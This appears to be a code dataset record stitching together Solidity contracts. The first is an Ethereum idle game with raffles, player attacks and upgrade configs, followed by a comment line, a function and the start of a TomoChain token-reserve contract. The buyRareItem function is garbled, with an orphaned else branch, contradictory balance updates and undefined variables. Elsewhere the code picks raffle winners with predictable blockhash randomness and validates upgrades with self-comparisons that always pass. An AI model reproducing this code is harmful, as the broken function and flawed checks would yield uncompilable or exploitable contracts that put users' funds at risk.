if (purchases.raffleRareId != raffleRareId) {
purchases.numPurchases = 0;
purchases.raffleRareId = raffleRareId;
rafflePlayers[raffleRareId].push(msg.sender); // Add user to raffle
}
// Store new ticket purchase
if (purchases.numPurchases == purchases.ticketsBought.length) {
purchases.ticketsBought.length += 1;
}
purchases.ticketsBought[purchases.numPurchases++] = TicketPurchase(raffleTicketsBought, raffleTicketsBought + (amount - 1)); // (eg: buy 10, get id's 0-9)
// Finally update ticket total
raffleTicketsBought += amount;
}
function startRareRaffle(uint256 endTime, uint256 rareId) external {
require(msg.sender == owner);
require(schema.validRareId(rareId));
require(rareItemOwner[rareId] == 0);
// Reset previous raffle info
raffleWinningTicketSelected = false;
raffleTicketThatWon = 0;
raffleWinner = 0;
raffleTicketsBought = 0;
// Set current raffle info
raffleEndTime = endTime;
raffleRareId = rareId;
}
function awardRafflePrize(address checkWinner, uint256 checkIndex) external {
require(raffleEndTime < block.timestamp);
require(raffleWinner == 0);
require(rareItemOwner[raffleRareId] == 0);
if (!raffleWinningTicketSelected) {
drawRandomWinner(); // Ideally do it in one call (gas limit cautious)
}
// Reduce gas by (optionally) offering an address to _check_ for winner
if (checkWinner != 0) {
TicketPurchases storage tickets = ticketsBoughtByPlayer[checkWinner];
if (tickets.numPurchases > 0 && checkIndex < tickets.numPurchases && tickets.raffleRareId == raffleRareId) {
TicketPurchase storage checkTicket = tickets.ticketsBought[checkIndex];
if (raffleTicketThatWon >= checkTicket.startId && raffleTicketThatWon <= checkTicket.endId) {
assignRafflePrize(checkWinner); // WINNER!
return;
}
}
}
// Otherwise just naively try to find the winner (will work until mass amounts of players)
for (uint256 i = 0; i < rafflePlayers[raffleRareId].length; i++) {
address player = rafflePlayers[raffleRareId][i];
TicketPurchases storage playersTickets = ticketsBoughtByPlayer[player];
uint256 endIndex = playersTickets.numPurchases - 1;
// Minor optimization to avoid checking every single player
if (raffleTicketThatWon >= playersTickets.ticketsBought[0].startId && raffleTicketThatWon <= playersTickets.ticketsBought[endIndex].endId) {
for (uint256 j = 0; j < playersTickets.numPurchases; j++) {
TicketPurchase storage playerTicket = playersTickets.ticketsBought[j];
if (raffleTicketThatWon >= playerTicket.startId && raffleTicketThatWon <= playerTicket.endId) {
assignRafflePrize(player); // WINNER!
return;
}
}
}
}
}
function assignRafflePrize(address winner) internal {
raffleWinner = winner;
rareItemOwner[raffleRareId] = winner;
rareItemPrice[raffleRareId] = (schema.rareStartPrice(raffleRareId) * 21) / 20; // Buy price slightly higher (Div pool cut)
updatePlayersGoo(winner);
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
(upgradeClass, unitId, upgradeValue) = schema.getRareInfo(raffleRareId);
upgradeUnitMultipliers(winner, upgradeClass, unitId, upgradeValue);
}
// Random enough for small contests (Owner only to prevent trial & error execution)
function drawRandomWinner() public {
require(msg.sender == owner);
require(raffleEndTime < block.timestamp);
require(!raffleWinningTicketSelected);
uint256 seed = raffleTicketsBought + block.timestamp;
raffleTicketThatWon = addmod(uint256(block.blockhash(block.number-1)), seed, raffleTicketsBought);
raffleWinningTicketSelected = true;
}
function protectAddress(address exchange, bool isProtected) external {
require(msg.sender == owner);
require(getGooProduction(exchange) == 0); // Can't protect actual players
protectedAddresses[exchange] = isProtected;
}
function attackPlayer(address target) external {
require(battleCooldown[msg.sender] < block.timestamp);
require(target != msg.sender);
require(!protectedAddresses[target]); //target not whitelisted (i.e. exchange wallets)
uint256 attackingPower;
uint256 defendingPower;
uint256 stealingPower;
(attackingPower, defendingPower, stealingPower) = getPlayersBattlePower(msg.sender, target);
if (battleCooldown[target] > block.timestamp) { // When on battle cooldown you're vulnerable (starting value is 50% normal power)
defendingPower = schema.getWeakenedDefensePower(defendingPower);
}
if (attackingPower > defendingPower) {
battleCooldown[msg.sender] = block.timestamp + 30 minutes;
if (balanceOf(target) > stealingPower) {
// Save all their unclaimed goo, then steal attacker's max capacity (at same time)
uint256 unclaimedGoo = balanceOfUnclaimedGoo(target);
if (stealingPower > unclaimedGoo) {
uint256 gooDecrease = stealingPower - unclaimedGoo;
gooBalance[target] -= gooDecrease;
} else {
uint256 gooGain = unclaimedGoo - stealingPower;
gooBalance[target] += gooGain;
}
gooBalance[msg.sender] += stealingPower;
emit PlayerAttacked(msg.sender, target, true, stealingPower);
} else {
emit PlayerAttacked(msg.sender, target, true, balanceOf(target));
gooBalance[msg.sender] += balanceOf(target);
gooBalance[target] = 0;
}
lastGooSaveTime[target] = block.timestamp;
// We don't need to claim/save msg.sender's goo (as production delta is unchanged)
} else {
battleCooldown[msg.sender] = block.timestamp + 10 minutes;
emit PlayerAttacked(msg.sender, target, false, 0);
}
}
function getPlayersBattlePower(address attacker, address defender) internal constant returns (uint256, uint256, uint256) {
uint256 startId;
uint256 endId;
(startId, endId) = schema.battleUnitIdRange();
uint256 attackingPower;
uint256 defendingPower;
uint256 stealingPower;
// Not ideal but will only be a small number of units (and saves gas when buying units)
while (startId <= endId) {
attackingPower += getUnitsAttack(attacker, startId, unitsOwned[attacker][startId]);
stealingPower += getUnitsStealingCapacity(attacker, startId, unitsOwned[attacker][startId]);
defendingPower += getUnitsDefense(defender, startId, unitsOwned[defender][startId]);
startId++;
}
return (attackingPower, defendingPower, stealingPower);
}
function getPlayersBattleStats(address player) external constant returns (uint256, uint256, uint256) {
uint256 startId;
uint256 endId;
(startId, endId) = schema.battleUnitIdRange();
uint256 attackingPower;
uint256 defendingPower;
uint256 stealingPower;
// Not ideal but will only be a small number of units (and saves gas when buying units)
while (startId <= endId) {
attackingPower += getUnitsAttack(player, startId, unitsOwned[player][startId]);
stealingPower += getUnitsStealingCapacity(player, startId, unitsOwned[player][startId]);
defendingPower += getUnitsDefense(player, startId, unitsOwned[player][startId]);
startId++;
}
return (attackingPower, defendingPower, stealingPower);
}
function getUnitsProduction(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitGooProduction(unitId) + unitGooProductionIncreases[player][unitId]) * (10 + unitGooProductionMultiplier[player][unitId])) / 10;
}
function getUnitsAttack(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitAttack(unitId) + unitAttackIncreases[player][unitId]) * (10 + unitAttackMultiplier[player][unitId])) / 10;
}
function getUnitsDefense(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitDefense(unitId) + unitDefenseIncreases[player][unitId]) * (10 + unitDefenseMultiplier[player][unitId])) / 10;
}
function getUnitsStealingCapacity(address player, uint256 unitId, uint256 amount) internal constant returns (uint256) {
return (amount * (schema.unitStealingCapacity(unitId) + unitGooStealingIncreases[player][unitId]) * (10 + unitGooStealingMultiplier[player][unitId])) / 10;
}
// To display on website
function getGameInfo() external constant returns (uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[], bool[]){
uint256[] memory units = new uint256[](schema.currentNumberOfUnits());
bool[] memory upgrades = new bool[](schema.currentNumberOfUpgrades());
uint256 startId;
uint256 endId;
(startId, endId) = schema.productionUnitIdRange();
uint256 i;
while (startId <= endId) {
units[i] = unitsOwned[msg.sender][startId];
i++;
startId++;
}
(startId, endId) = schema.battleUnitIdRange();
while (startId <= endId) {
units[i] = unitsOwned[msg.sender][startId];
i++;
startId++;
}
// Reset for upgrades
i = 0;
(startId, endId) = schema.upgradeIdRange();
while (startId <= endId) {
upgrades[i] = upgradesOwned[msg.sender][startId];
i++;
startId++;
}
return (block.timestamp, totalEtherGooResearchPool, totalGooProduction, nextSnapshotTime, balanceOf(msg.sender), ethBalance[msg.sender], getGooProduction(msg.sender), units, upgrades);
}
// To display on website
function getRareItemInfo() external constant returns (address[], uint256[]) {
address[] memory itemOwners = new address[](schema.currentNumberOfRares());
uint256[] memory itemPrices = new uint256[](schema.currentNumberOfRares());
uint256 startId;
uint256 endId;
(startId, endId) = schema.rareIdRange();
uint256 i;
while (startId <= endId) {
itemOwners[i] = rareItemOwner[startId];
itemPrices[i] = rareItemPrice[startId];
i++;
startId++;
}
return (itemOwners, itemPrices);
}
// To display on website
function viewUnclaimedResearchDividends() external constant returns (uint256, uint256, uint256) {
uint256 startSnapshot = lastGooResearchFundClaim[msg.sender];
uint256 latestSnapshot = allocatedGooResearchSnapshots.length - 1; // No snapshots to begin with
uint256 researchShare;
uint256 previousProduction = gooProductionSnapshots[msg.sender][lastGooResearchFundClaim[msg.sender] - 1]; // Underflow won't be a problem as gooProductionSnapshots[][0xfffffffffffff] = 0;
for (uint256 i = startSnapshot; i <= latestSnapshot; i++) {
// Slightly complex things by accounting for days/snapshots when user made no tx's
uint256 productionDuringSnapshot = gooProductionSnapshots[msg.sender][i];
bool soldAllProduction = gooProductionZeroedSnapshots[msg.sender][i];
if (productionDuringSnapshot == 0 && !soldAllProduction) {
productionDuringSnapshot = previousProduction;
} else {
previousProduction = productionDuringSnapshot;
}
researchShare += (allocatedGooResearchSnapshots[i] * productionDuringSnapshot) / totalGooProductionSnapshots[i];
}
return (researchShare, startSnapshot, latestSnapshot);
}
// To allow clients to verify contestants
function getRafflePlayers(uint256 raffleId) external constant returns (address[]) {
return (rafflePlayers[raffleId]);
}
// To allow clients to verify contestants
function getPlayersTickets(address player) external constant returns (uint256[], uint256[]) {
TicketPurchases storage playersTickets = ticketsBoughtByPlayer[player];
if (playersTickets.raffleRareId == raffleRareId) {
uint256[] memory startIds = new uint256[](playersTickets.numPurchases);
uint256[] memory endIds = new uint256[](playersTickets.numPurchases);
for (uint256 i = 0; i < playersTickets.numPurchases; i++) {
startIds[i] = playersTickets.ticketsBought[i].startId;
endIds[i] = playersTickets.ticketsBought[i].endId;
}
}
return (startIds, endIds);
}
// To display on website
function getLatestRaffleInfo() external constant returns (uint256, uint256, uint256, address, uint256) {
return (raffleEndTime, raffleRareId, raffleTicketsBought, raffleWinner, raffleTicketThatWon);
}
// New units may be added in future, but check it matches existing schema so no-one can abuse selling.
function updateGooConfig(address newSchemaAddress) external {
require(msg.sender == owner);
GooGameConfig newSchema = GooGameConfig(newSchemaAddress);
requireExistingUnitsSame(newSchema);
requireExistingUpgradesSame(newSchema);
// Finally update config
schema = GooGameConfig(newSchema);
}
function requireExistingUnitsSame(GooGameConfig newSchema) internal constant {
// Requires units eth costs match up or fail execution
uint256 startId;
uint256 endId;
(startId, endId) = schema.productionUnitIdRange();
while (startId <= endId) {
require(schema.unitEthCost(startId) == newSchema.unitEthCost(startId));
require(schema.unitGooProduction(startId) == newSchema.unitGooProduction(startId));
startId++;
}
(startId, endId) = schema.battleUnitIdRange();
while (startId <= endId) {
require(schema.unitEthCost(startId) == newSchema.unitEthCost(startId));
require(schema.unitAttack(startId) == newSchema.unitAttack(startId));
require(schema.unitDefense(startId) == newSchema.unitDefense(startId));
require(schema.unitStealingCapacity(startId) == newSchema.unitStealingCapacity(startId));
startId++;
}
}
function requireExistingUpgradesSame(GooGameConfig newSchema) internal constant {
uint256 startId;
uint256 endId;
uint256 oldClass;
uint256 oldUnitId;
uint256 oldValue;
uint256 newClass;
uint256 newUnitId;
uint256 newValue;
// Requires ALL upgrade stats match up or fail execution
(startId, endId) = schema.rareIdRange();
while (startId <= endId) {
uint256 oldGooCost;
uint256 oldEthCost;
(oldGooCost, oldEthCost, oldClass, oldUnitId, oldValue) = schema.getUpgradeInfo(startId);
uint256 newGooCost;
uint256 newEthCost;
(newGooCost, newEthCost, newClass, newUnitId, newValue) = newSchema.getUpgradeInfo(startId);
require(oldGooCost == newGooCost);
require(oldEthCost == oldEthCost);
require(oldClass == oldClass);
require(oldUnitId == newUnitId);
require(oldValue == newValue);
startId++;
}
// Requires ALL rare stats match up or fail execution
(startId, endId) = schema.rareIdRange();
while (startId <= endId) {
(oldClass, oldUnitId, oldValue) = schema.getRareInfo(startId);
(newClass, newUnitId, newValue) = newSchema.getRareInfo(startId);
require(oldClass == newClass);
require(oldUnitId == newUnitId);
require(oldValue == newValue);
startId++;
}
}
}
contract GooGameConfig {
mapping(uint256 => Unit) private unitInfo;
mapping(uint256 => Upgrade) private upgradeInfo;
mapping(uint256 => Rare) private rareInfo;
uint256 public constant currentNumberOfUnits = 14;
uint256 public constant currentNumberOfUpgrades = 42;
uint256 public constant currentNumberOfRares = 2;
struct Unit {
uint256 unitId;
uint256 baseGooCost;
uint256 gooCostIncreaseHalf; // Halfed to make maths slightly less (cancels a 2 out)
uint256 ethCost;
uint256 baseGooProduction;
uint256 attackValue;
uint256 defenseValue;
uint256 gooStealingCapacity;
}
struct Upgrade {
uint256 upgradeId;
uint256 gooCost;
uint256 ethCost;
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
}
struct Rare {
uint256 rareId;
uint256 ethCost;
uint256 rareClass;
uint256 unitId;
uint256 rareValue;
}
// Constructor
function GooGameConfig() public {
unitInfo[1] = Unit(1, 0, 10, 0, 1, 0, 0, 0);
unitInfo[2] = Unit(2, 100, 50, 0, 2, 0, 0, 0);
unitInfo[3] = Unit(3, 0, 0, 0.01 ether, 12, 0, 0, 0);
unitInfo[4] = Unit(4, 500, 250, 0, 4, 0, 0, 0);
unitInfo[5] = Unit(5, 2500, 1250, 0, 6, 0, 0, 0);
unitInfo[6] = Unit(6, 10000, 5000, 0, 8, 0, 0, 0);
unitInfo[7] = Unit(7, 0, 1000, 0.05 ether, 60, 0, 0, 0);
unitInfo[8] = Unit(8, 25000, 12500, 0, 10, 0, 0, 0);
unitInfo[40] = Unit(40, 100, 50, 0, 0, 10, 10, 20);
unitInfo[41] = Unit(41, 250, 125, 0, 0, 1, 25, 1);
unitInfo[42] = Unit(42, 0, 50, 0.01 ether, 0, 100, 10, 5);
unitInfo[43] = Unit(43, 1000, 500, 0, 0, 25, 1, 50);
unitInfo[44] = Unit(44, 2500, 1250, 0, 0, 20, 40, 100);
unitInfo[45] = Unit(45, 0, 500, 0.02 ether, 0, 0, 0, 1000);
upgradeInfo[1] = Upgrade(1, 500, 0, 0, 1, 1); // +1
upgradeInfo[2] = Upgrade(2, 0, 0.1 ether, 1, 1, 10); // 10 = +100%
upgradeInfo[3] = Upgrade(3, 10000, 0, 1, 1, 5); // 5 = +50%
upgradeInfo[4] = Upgrade(4, 0, 0.1 ether, 0, 2, 2); // +1
upgradeInfo[5] = Upgrade(5, 2000, 0, 1, 2, 5); // 10 = +50%
upgradeInfo[6] = Upgrade(6, 0, 0.2 ether, 0, 2, 2); // +2
upgradeInfo[7] = Upgrade(7, 2500, 0, 0, 3, 2); // +2
upgradeInfo[8] = Upgrade(8, 0, 0.5 ether, 1, 3, 10); // 10 = +100%
upgradeInfo[9] = Upgrade(9, 25000, 0, 1, 3, 5); // 5 = +50%
upgradeInfo[10] = Upgrade(10, 0, 0.1 ether, 0, 4, 1); // +1
upgradeInfo[11] = Upgrade(11, 5000, 0, 1, 4, 5); // 10 = +50%
upgradeInfo[12] = Upgrade(12, 0, 0.2 ether, 0, 4, 2); // +2
upgradeInfo[13] = Upgrade(13, 10000, 0, 0, 5, 2); // +2
upgradeInfo[14] = Upgrade(14, 0, 0.5 ether, 1, 5, 10); // 10 = +100%
upgradeInfo[15] = Upgrade(15, 25000, 0, 1, 5, 5); // 5 = +50%
upgradeInfo[16] = Upgrade(16, 0, 0.1 ether, 0, 6, 1); // +1
upgradeInfo[17] = Upgrade(17, 25000, 0, 1, 6, 5); // 10 = +50%
upgradeInfo[18] = Upgrade(18, 0, 0.2 ether, 0, 6, 2); // +2
upgradeInfo[19] = Upgrade(13, 50000, 0, 0, 7, 2); // +2
upgradeInfo[20] = Upgrade(20, 0, 0.2 ether, 1, 7, 5); // 5 = +50%
upgradeInfo[21] = Upgrade(21, 100000, 0, 1, 7, 5); // 5 = +50%
upgradeInfo[22] = Upgrade(22, 0, 0.1 ether, 0, 8, 2); // +1
upgradeInfo[23] = Upgrade(23, 25000, 0, 1, 8, 5); // 10 = +50%
upgradeInfo[24] = Upgrade(24, 0, 0.2 ether, 0, 8, 4); // +2
upgradeInfo[25] = Upgrade(25, 500, 0, 2, 40, 10); // +10
upgradeInfo[26] = Upgrade(26, 0, 0.1 ether, 4, 40, 10); // +10
upgradeInfo[27] = Upgrade(27, 10000, 0, 6, 40, 10); // +10
upgradeInfo[28] = Upgrade(28, 0, 0.2 ether, 3, 41, 5); // +50 %
upgradeInfo[29] = Upgrade(29, 5000, 0, 4, 41, 10); // +10
upgradeInfo[30] = Upgrade(30, 0, 0.5 ether, 6, 41, 4); // +4
upgradeInfo[31] = Upgrade(31, 2500, 0, 5, 42, 5); // +50 %
upgradeInfo[32] = Upgrade(32, 0, 0.2 ether, 6, 42, 10); // +10
upgradeInfo[33] = Upgrade(33, 20000, 0, 7, 42, 5); // +50 %
upgradeInfo[34] = Upgrade(34, 0, 0.1 ether, 2, 43, 5); // +5
upgradeInfo[35] = Upgrade(35, 10000, 0, 4, 43, 5); // +5
upgradeInfo[36] = Upgrade(36, 0, 0.2 ether, 5, 43, 5); // +50%
upgradeInfo[37] = Upgrade(37, 0, 0.1 ether, 2, 44, 15); // +15
upgradeInfo[38] = Upgrade(38, 25000, 0, 3, 44, 5); // +50%
upgradeInfo[39] = Upgrade(39, 0, 0.2 ether, 4, 44, 15); // +15
upgradeInfo[40] = Upgrade(40, 50000, 0, 6, 45, 500); // +500
upgradeInfo[41] = Upgrade(41, 0, 0.5 ether, 7, 45, 10); // +100 %
upgradeInfo[42] = Upgrade(42, 250000, 0, 7, 45, 5); // +50 %
rareInfo[1] = Rare(1, 0.5 ether, 1, 1, 30); // 30 = +300%
rareInfo[2] = Rare(2, 0.5 ether, 0, 2, 4); // +4
}
function getGooCostForUnit(uint256 unitId, uint256 existing, uint256 amount) public constant returns (uint256) {
if (amount == 1) { // 1
if (existing == 0) {
return unitInfo[unitId].baseGooCost;
} else {
return unitInfo[unitId].baseGooCost + (existing * unitInfo[unitId].gooCostIncreaseHalf * 2);
}
} else if (amount > 1) {
uint256 existingCost;
if (existing > 0) {
existingCost = (unitInfo[unitId].baseGooCost * existing) + (existing * (existing - 1) * unitInfo[unitId].gooCostIncreaseHalf);
}
existing += amount;
uint256 newCost = SafeMath.add(SafeMath.mul(unitInfo[unitId].baseGooCost, existing), SafeMath.mul(SafeMath.mul(existing, (existing - 1)), unitInfo[unitId].gooCostIncreaseHalf));
return newCost - existingCost;
}
}
function getWeakenedDefensePower(uint256 defendingPower) external constant returns (uint256) {
return defendingPower / 2;
}
function validUnitId(uint256 unitId) external constant returns (bool) {
return ((unitId > 0 && unitId < 9) || (unitId > 39 && unitId < 46));
}
function validUpgradeId(uint256 upgradeId) external constant returns (bool) {
return (upgradeId > 0 && upgradeId < 43);
}
function validRareId(uint256 rareId) external constant returns (bool) {
return (rareId > 0 && rareId < 3);
}
function unitEthCost(uint256 unitId) external constant returns (uint256) {
return unitInfo[unitId].ethCost;
}
function unitGooProduction(uint256 unitId) external constant returns (uint256) {
return unitInfo[unitId].baseGooProduction;
}
function unitAttack(uint256 unitId) external constant returns (uint256) {
return unitInfo[unitId].attackValue;
}
function unitDefense(uint256 unitId) external constant returns (uint256) {
return unitInfo[unitId].defenseValue;
}
function unitStealingCapacity(uint256 unitId) external constant returns (uint256) {
return unitInfo[unitId].gooStealingCapacity;
}
function rareStartPrice(uint256 rareId) external constant returns (uint256) {
return rareInfo[rareId].ethCost;
}
function productionUnitIdRange() external constant returns (uint256, uint256) {
return (1, 8);
}
function battleUnitIdRange() external constant returns (uint256, uint256) {
return (40, 45);
}
function upgradeIdRange() external constant returns (uint256, uint256) {
return (1, 42);
}
function rareIdRange() external constant returns (uint256, uint256) {
return (1, 2);
}
function getUpgradeInfo(uint256 upgradeId) external constant returns (uint256, uint256, uint256, uint256, uint256) {
return (upgradeInfo[upgradeId].gooCost, upgradeInfo[upgradeId].ethCost, upgradeInfo[upgradeId].upgradeClass,
upgradeInfo[upgradeId].unitId, upgradeInfo[upgradeId].upgradeValue);
}
function getRareInfo(uint256 rareId) external constant returns (uint256, uint256, uint256) {
return (rareInfo[rareId].rareClass, rareInfo[rareId].unitId, rareInfo[rareId].rareValue);
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
We have to claim buyer's goo before updating their production values We have to claim seller's goo before reducing their production values Splitbid/Overbid
|
function buyRareItem(uint256 rareId) external payable {
require(schema.validRareId(rareId));
address previousOwner = rareItemOwner[rareId];
require(previousOwner != 0);
uint256 ethCost = rareItemPrice[rareId];
require(ethBalance[msg.sender] + msg.value >= ethCost);
updatePlayersGoo(msg.sender);
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
(upgradeClass, unitId, upgradeValue) = schema.getRareInfo(rareId);
upgradeUnitMultipliers(msg.sender, upgradeClass, unitId, upgradeValue);
updatePlayersGoo(previousOwner);
removeUnitMultipliers(previousOwner, upgradeClass, unitId, upgradeValue);
if (ethCost > msg.value) {
ethBalance[msg.sender] -= (ethCost - msg.value);
ethBalance[msg.sender] += msg.value - ethCost;
}
ethBalance[owner] += devFund;
ethBalance[previousOwner] += ethCost - (dividends + devFund);
} else if (msg.value > ethCost) {
totalEtherGooResearchPool += dividends;
rareItemOwner[rareId] = msg.sender;
}
| 9,845,515 |
pragma solidity 0.4.25;
// https://github.com/ethereum/EIPs/issues/20
interface TRC20 {
function totalSupply() external view returns (uint supply);
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function approve(address _spender, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
function decimals() external view returns(uint digits);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
/// @title Reserve contract
interface ReserveInterface {
function trade(
TRC20 srcToken,
uint srcAmount,
TRC20 destToken,
address destAddress,
uint conversionRate,
uint feeInWei,
bool validate
)
external
payable
returns(bool);
function getConversionRate(TRC20 src, TRC20 dest, uint srcQty, uint blockNumber) external view returns(uint);
}
/// @title Kyber Network interface
interface NetworkInterface {
function maxGasPrice() external view returns(uint);
function getUserCapInWei(address user) external view returns(uint);
function getUserCapInTokenWei(address user, TRC20 token) external view returns(uint);
function enabled() external view returns(bool);
function info(bytes32 id) external view returns(uint);
function getExpectedRate(TRC20 src, TRC20 dest, uint srcQty) external view
returns (uint expectedRate, uint slippageRate);
function getExpectedFeeRate(TRC20 token, uint srcQty) external view
returns (uint expectedRate, uint slippageRate);
function swap(address trader, TRC20 src, uint srcAmount, TRC20 dest, address destAddress,
uint maxDestAmount, uint minConversionRate, address walletId) external payable returns(uint);
function payTxFee(address trader, TRC20 src, uint srcAmount, address destAddress,
uint maxDestAmount, uint minConversionRate) external payable returns(uint);
}
interface ExpectedRateInterface {
function getExpectedRate(TRC20 src, TRC20 dest, uint srcQty) external view
returns (uint expectedRate, uint slippageRate);
function getExpectedFeeRate(TRC20 token, uint srcQty) external view
returns (uint expectedRate, uint slippageRate);
}
contract PermissionGroups {
address public admin;
address public pendingAdmin;
mapping(address=>bool) internal operators;
mapping(address=>bool) internal alerters;
address[] internal operatorsGroup;
address[] internal alertersGroup;
uint constant internal MAX_GROUP_SIZE = 50;
constructor() public {
admin = msg.sender;
}
modifier onlyAdmin() {
require(msg.sender == admin);
_;
}
modifier onlyOperator() {
require(operators[msg.sender]);
_;
}
modifier onlyAlerter() {
require(alerters[msg.sender]);
_;
}
function getOperators () external view returns(address[] memory) {
return operatorsGroup;
}
function getAlerters () external view returns(address[] memory) {
return alertersGroup;
}
event TransferAdminPending(address pendingAdmin);
/**
* @dev Allows the current admin to set the pendingAdmin address.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdmin(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
emit TransferAdminPending(pendingAdmin);
pendingAdmin = newAdmin;
}
/**
* @dev Allows the current admin to set the admin in one tx. Useful initial deployment.
* @param newAdmin The address to transfer ownership to.
*/
function transferAdminQuickly(address newAdmin) public onlyAdmin {
require(newAdmin != address(0));
emit TransferAdminPending(newAdmin);
emit AdminClaimed(newAdmin, admin);
admin = newAdmin;
}
event AdminClaimed( address newAdmin, address previousAdmin);
/**
* @dev Allows the pendingAdmin address to finalize the change admin process.
*/
function claimAdmin() public {
require(pendingAdmin == msg.sender);
emit AdminClaimed(pendingAdmin, admin);
admin = pendingAdmin;
pendingAdmin = address(0);
}
event AlerterAdded (address newAlerter, bool isAdd);
function addAlerter(address newAlerter) public onlyAdmin {
require(!alerters[newAlerter]); // prevent duplicates.
require(alertersGroup.length < MAX_GROUP_SIZE);
emit AlerterAdded(newAlerter, true);
alerters[newAlerter] = true;
alertersGroup.push(newAlerter);
}
function removeAlerter (address alerter) public onlyAdmin {
require(alerters[alerter]);
alerters[alerter] = false;
for (uint i = 0; i < alertersGroup.length; ++i) {
if (alertersGroup[i] == alerter) {
alertersGroup[i] = alertersGroup[alertersGroup.length - 1];
alertersGroup.length--;
emit AlerterAdded(alerter, false);
break;
}
}
}
event OperatorAdded(address newOperator, bool isAdd);
function addOperator(address newOperator) public onlyAdmin {
require(!operators[newOperator]); // prevent duplicates.
require(operatorsGroup.length < MAX_GROUP_SIZE);
emit OperatorAdded(newOperator, true);
operators[newOperator] = true;
operatorsGroup.push(newOperator);
}
function removeOperator (address operator) public onlyAdmin {
require(operators[operator]);
operators[operator] = false;
for (uint i = 0; i < operatorsGroup.length; ++i) {
if (operatorsGroup[i] == operator) {
operatorsGroup[i] = operatorsGroup[operatorsGroup.length - 1];
operatorsGroup.length -= 1;
emit OperatorAdded(operator, false);
break;
}
}
}
}
/**
* @title Contracts that should be able to recover tokens or tomos
*/
contract Withdrawable is PermissionGroups {
event TokenWithdraw(TRC20 token, uint amount, address sendTo);
/**
* @dev Withdraw all TRC20 compatible tokens
* @param token TRC20 The address of the token contract
*/
function withdrawToken(TRC20 token, uint amount, address sendTo) external onlyAdmin {
require(token.transfer(sendTo, amount));
emit TokenWithdraw(token, amount, sendTo);
}
event TomoWithdraw(uint amount, address sendTo);
/**
* @dev Withdraw Tomos
*/
function withdrawTomo(uint amount, address sendTo) external onlyAdmin {
sendTo.transfer(amount);
emit TomoWithdraw(amount, sendTo);
}
}
contract WhiteListInterface {
function getUserCapInWei(address user) external view returns (uint userCapWei);
}
/// @title constants contract
contract Utils {
TRC20 constant internal TOMO_TOKEN_ADDRESS = TRC20(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
uint constant internal PRECISION = (10**18);
uint constant internal MAX_QTY = (10**28); // 10B tokens
uint constant internal MAX_RATE = (PRECISION * 10**6); // up to 1M tokens per TOMO
uint constant internal MAX_DECIMALS = 18;
uint constant internal TOMO_DECIMALS = 18;
mapping(address=>uint) internal decimals;
function setDecimals(TRC20 token) internal {
if (token == TOMO_TOKEN_ADDRESS) decimals[token] = TOMO_DECIMALS;
else decimals[token] = token.decimals();
}
function getDecimals(TRC20 token) internal view returns(uint) {
if (token == TOMO_TOKEN_ADDRESS) return TOMO_DECIMALS; // save storage access
uint tokenDecimals = decimals[token];
// technically, there might be token with decimals 0
// moreover, very possible that old tokens have decimals 0
// these tokens will just have higher gas fees.
if(tokenDecimals == 0) return token.decimals();
return tokenDecimals;
}
function calcDstQty(uint srcQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(srcQty <= MAX_QTY);
require(rate <= MAX_RATE);
if (dstDecimals >= srcDecimals) {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
return (srcQty * rate * (10**(dstDecimals - srcDecimals))) / PRECISION;
} else {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
return (srcQty * rate) / (PRECISION * (10**(srcDecimals - dstDecimals)));
}
}
function calcSrcQty(uint dstQty, uint srcDecimals, uint dstDecimals, uint rate) internal pure returns(uint) {
require(dstQty <= MAX_QTY);
require(rate <= MAX_RATE);
//source quantity is rounded up. to avoid dest quantity being too low.
uint numerator;
uint denominator;
if (srcDecimals >= dstDecimals) {
require((srcDecimals - dstDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty * (10**(srcDecimals - dstDecimals)));
denominator = rate;
} else {
require((dstDecimals - srcDecimals) <= MAX_DECIMALS);
numerator = (PRECISION * dstQty);
denominator = (rate * (10**(dstDecimals - srcDecimals)));
}
return (numerator + denominator - 1) / denominator; //avoid rounding down errors
}
}
contract Utils2 is Utils {
/// @dev get the balance of a user.
/// @param token The token type
/// @return The balance
function getBalance(TRC20 token, address user) public view returns(uint) {
if (token == TOMO_TOKEN_ADDRESS)
return user.balance;
else
return token.balanceOf(user);
}
function getDecimalsSafe(TRC20 token) internal returns(uint) {
if (decimals[token] == 0) {
setDecimals(token);
}
return decimals[token];
}
function calcDestAmount(TRC20 src, TRC20 dest, uint srcAmount, uint rate) internal view returns(uint) {
return calcDstQty(srcAmount, getDecimals(src), getDecimals(dest), rate);
}
function calcSrcAmount(TRC20 src, TRC20 dest, uint destAmount, uint rate) internal view returns(uint) {
return calcSrcQty(destAmount, getDecimals(src), getDecimals(dest), rate);
}
